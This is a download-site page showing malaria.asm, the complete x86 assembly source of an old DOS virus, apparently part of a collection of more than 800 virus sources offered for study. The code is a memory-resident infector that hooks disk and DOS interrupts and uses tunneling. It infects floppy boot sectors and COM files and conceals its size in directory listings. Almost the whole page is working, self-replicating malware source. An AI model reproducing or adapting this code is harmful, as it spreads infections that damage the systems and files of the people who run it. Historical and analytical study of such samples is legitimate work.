⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 malaria.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;;=============================================================================; [Malaria]; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus;=============================================================================;virus_size              equ     (v_end-v_start)loader_size             equ     (loader_end-loader_start)paragraph_size          equ     (heap_end-v_start+010Fh)/0010h+0001h       .model   tiny       .code       .286         org     0100hstart:v_start:        push    ds es        dec     ax        int     0013h        inc     ax        jz      exit_install        mov     ax,es        dec     ax        mov     ds,ax        mov     bx,5A4Dh        sub     si,si        cmp     bl,byte ptr [si]        jz      exit_install        mov     ax,offset exit_installdelta_two       =       $-0002h        push    cs ax        sub     word ptr [si+0003h],paragraph_size        sub     word ptr [si+0012h],paragraph_size        mov     byte ptr [si],bl        mov     ax,word ptr [si+0012h]        mov     ds,ax        mov     byte ptr [si],bh        mov     word ptr [si+0001h],0008h        mov     word ptr [si+0003h],paragraph_size-0001h        inc     ax        mov     es,ax        push    ax        mov     si,offset v_startdelta_one       =       $-0002h        mov     cx,virus_size        mov     di,offset v_start        rep     movs byte ptr [di],cs:[si]        mov     ax,offset trace_interrupt        push    ax        retfexit_install:        pop     es ds        mov     si,offset host_bytesdelta_three     =       $-0002h        mov     di,offset v_start	push	di        movsb        movsw        retnloader_start:        mov     ax,0B900h        mov     es,ax        push    ax        mov     ax,offset restore_boot_sector        push    ax        mov     ax,0202h        mov     bx,offset v_start        mov     cx,'ML'loader_fix_1    =       $-0002h        inc     dh        int     0013h        retfloader_end:restore_boot_sector:        xor     ax,ax        mov     es,ax        mov     si,offset boot_bytes        mov     di,7C00h        push    ax di        mov     cl,loader_size shr 0001h        rep     movs word ptr [di],cs:[si]        mov     ax,word ptr es:[0084h]        mov     word ptr cs:[int_word],ax        push    cs        pop     es        mov     byte ptr cs:[trace_interrupt_],00C3h        call    trace_interrupt        mov     byte ptr cs:[trace_interrupt_],00BEh        retftrace_interrupt:        mov     ds,cx	mov	byte ptr cs:[trap_flag],cl        mov     si,004Ch        mov     di,offset i0013hOffset        movsw        movsw        mov     word ptr [si-0004h],offset i0013h        mov     word ptr [si-0002h],cstrace_interrupt_:        mov     si,0084h        mov     di,offset i0021hOffset        movsw        movsw        mov     word ptr [si-0004h],offset i0021h        mov     word ptr [si-0002h],cs        mov     si,0004h        push    word ptr ds:[si] word ptr ds:[si+0002h]        mov     word ptr [si],offset i0001h        mov     word ptr [si+0002h],cs        mov     ah,0052h        int     0021h        mov     word ptr cs:[dos_segment],es        mov     ah,0001h        push    ax        popf        mov     ah,0019h        call    call_i0021h        pop     word ptr ds:[si+0002h] word ptr ds:[si]        retfi0001h: push    bp        mov     bp,sp        push    ax        cmp     byte ptr cs:[trap_flag],0001h        jz      i0001h_exit_        mov     ax,word ptr [bp+0004h]        cmp     ax,0D00Dhdos_segment     =       $-0002h        jnz     i0001h_exit        mov     word ptr cs:[t0021hSegment],ax        mov     ax,word ptr [bp+0002h]        mov     word ptr cs:[t0021hOffset],ax        inc     byte ptr cs:[trap_flag]i0001h_exit_:        and     byte ptr [bp+0007h],-0002hi0001h_exit:        pop     ax bpint_return:        ireti0013h:	cmp	ax,-0001h        jz      int_return        cmp     byte ptr cs:[trap_flag],0001h        jz      i0013h_continue        pusha        push    ds es cs        pop     es        cwd        mov     ds,dx        mov     ax,word ptr ds:[0084h]        cmp     ax,word ptr cs:[int_word]        jz      hook_exit        push    cs        call    trace_interrupt_hook_exit:        pop     es ds        popai0013h_continue:        cmp     dl,0001h	jnb	original_i0013h        cmp     ah,0002h	jz	i0013h_stealth_boot        pusha        push    ds es        cmp     ah,0003h        jnz     i0013h_exiti0013h_infect_boot:        mov     ax,0BBE8h        mov     es,ax        mov     ax,0201h        xor     bx,bx        mov     cx,0001h        xor     dh,dh        call    call_i0013h        cmp     byte ptr es:[bx],00B8h        jz      i0013h_exit        mov     al,byte ptr es:[bx+0010h]        mul     byte ptr es:[bx+0016h]        xchg    ax,cx        mov     ax,word ptr es:[bx+0011h]        shr     ax,0004h        add     ax,cx        sub     ax,word ptr es:[bx+0018h]        mov     word ptr cs:[loader_fix_1],ax        push    ax es es cs        pop     es ds        mov     cl,loader_size shr 0001h        xor     si,si        mov     di,offset boot_bytes        rep     movsw        pop     es        mov     cl,loader_size shr 0001h        mov     si,offset loader_start        sub     di,di        rep     movs word ptr [di],cs:[si]        mov     ax,0301h        inc     cx        call    call_i0013h        push    cs        pop     es        mov     ax,0302h        mov     bx,offset v_start        pop     cx        inc     dh        call    call_i0013hi0013h_exit:        pop     es ds        popaoriginal_i0013h:        db      00EAh,'PURE'i0013hOffset    =       $-0004hi0013hSegment   =       $-0002hi0013h_stealth_boot:        cmp     cx,0001h        jnz     original_i0013h        or      dh,dh        jnz     original_i0013h        pusha        call    call_i0013h	jc	i0013h_stealth_boot_exit        cmp     byte ptr es:[bx],00B8h        jnz     i0013h_stealth_boot_exit        mov     si,offset boot_bytes        mov     di,bx        mov     cl,loader_size shr 0001h        rep     movs word ptr [di],cs:[si]i0013h_stealth_boot_exit:        popa	clc        retf    0002hi0021h: cmp     ah,0011h        jz      fcb_stealth        cmp     ah,0012h        jz      fcb_stealth        cmp     ah,004Eh        jz      dta_stealth        cmp     ah,004Fh        jz      dta_stealth        pusha        push    ds es        cmp     ax,4300h        jz      i0021h_infect_file        cmp     ax,4301h        jz      i0021h_infect_file        cmp     ax,4B00h        jz      i0021h_infect_filei0021h_exit:        pop     es ds        popaoriginal_i0021h:        db      00EAh,'TEXT'i0021hOffset    =       $-0004hi0021hSegment   =       $-0002hfcb_stealth:        call    call_i0021h        pusha        push    es        inc     al        jz      fcb_exit_        mov     ah,002Fh        call    tunnel_i0021h        cmp     byte ptr es:[bx],-0001h        jnz     fcb_continue                   add     bx,0007hfcb_continue:        mov     ax,word ptr es:[bx+0017h]        mov     cx,word ptr es:[bx+0019h]        call    hide_dirfcb_exit_:        pop     es        popafcb_exit:        iretdta_stealth:        call    call_i0021h        jc      dta_exit        pusha        push    es        mov     ah,002Fh        call    tunnel_i0021h        mov     ax,word ptr es:[bx+0016h]        mov     cx,word ptr es:[bx+0018h]        sub     bx,0003h        call    hide_dir        pop     es        popadta_exit:        retf    0002h_close_file:        jmp     close_filei0021h_infect_file:        push    ds        pop     es        mov     al,002Eh        mov     cx,0040h        mov     di,dx        repnz   scasb        cmp     word ptr [di],4F43h        jnz     i0021h_exit        mov     ax,3D02h        call    tunnel_i0021h        xchg    ax,bx        mov     ax,1220h        int     002Fh        push    bx        mov     ax,1216h        mov     bl,byte ptr es:[di]        int     002Fh        pop     bx        mov     si,offset temp_buffer        push    cs        pop     ds        mov     ah,003Fh        mov     cl,0003h        mov     dx,si        call    tunnel_i0021h        cmp     word ptr [si],5A4Dh        jz      close_file        cmp     word ptr [si],4D5Ah        jz      close_file        push    si        lodsb        mov     byte ptr [si-0004h],al        lodsw        mov     word ptr [si-0005h],ax        pop     si        mov     ax,word ptr es:[di+0011h]	mov	word ptr es:[di+0015h],ax        mov     cx,virus_size        cmp     ax,cx        jb      close_file        push    ax        sub     ax,0003h        mov     byte ptr [si],00E9h        mov     word ptr [si+0001h],ax            sub     ax,cx        cmp     ax,word ptr [si-0002h]        pop     ax        jz      close_file        add     ax,offset v_start        mov     word ptr [delta_one],ax        add     ax,offset exit_install-v_start        mov     word ptr [delta_two],ax        add     ax,offset host_bytes-exit_install        mov     word ptr [delta_three],ax        mov     ah,0040h        mov     dx,offset v_start        call    tunnel_i0021h        mov     word ptr es:[di+0015h],0000h        mov     ah,0040h        mov     cx,0003h        mov     dx,si        call    tunnel_i0021h        mov     ax,5701h        mov     cx,word ptr es:[di+000Dh]        mov     dx,word ptr es:[di+000Fh]        push    dx        and     cx,-0020h        and     dx,001Fh        dec     dx        or      cx,dx        pop     dx        call    tunnel_i0021hclose_file:        mov     ah,003Eh        call    tunnel_i0021h        jmp     i0021h_exithide_dir:        mov     si,001Fh        and     ax,si        and     cx,si        dec     cx        xor     ax,cx        jnz     hide_exit        cmp     ax,word ptr es:[bx+si]        ja      hide_exit        mov     ax,virus_size        cmp     word ptr es:[bx+si-0002h],ax        jbe     hide_exithide_continue:        sub     word ptr es:[bx+si-0002h],axhide_exit:        retntunnel_i0021h:        pushf        db      009Ah,'PURE't0021hOffset     =       $-0004ht0021hSegment    =       $-0002h        retncall_i0013h:        pushf        push    cs        call    original_i0013h        retncall_i0021h:        pushf        push    cs        call    original_i0021h        retnboot_bytes      db      loader_size dup (0000h)host_bytes      db      00CDh,0020h,'!'v_end:heap_start:temp_buffer     db      0003h dup (?)trap_flag       db      0001h dup (?)int_word        db      0002h dup (?)heap_end:end     start.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -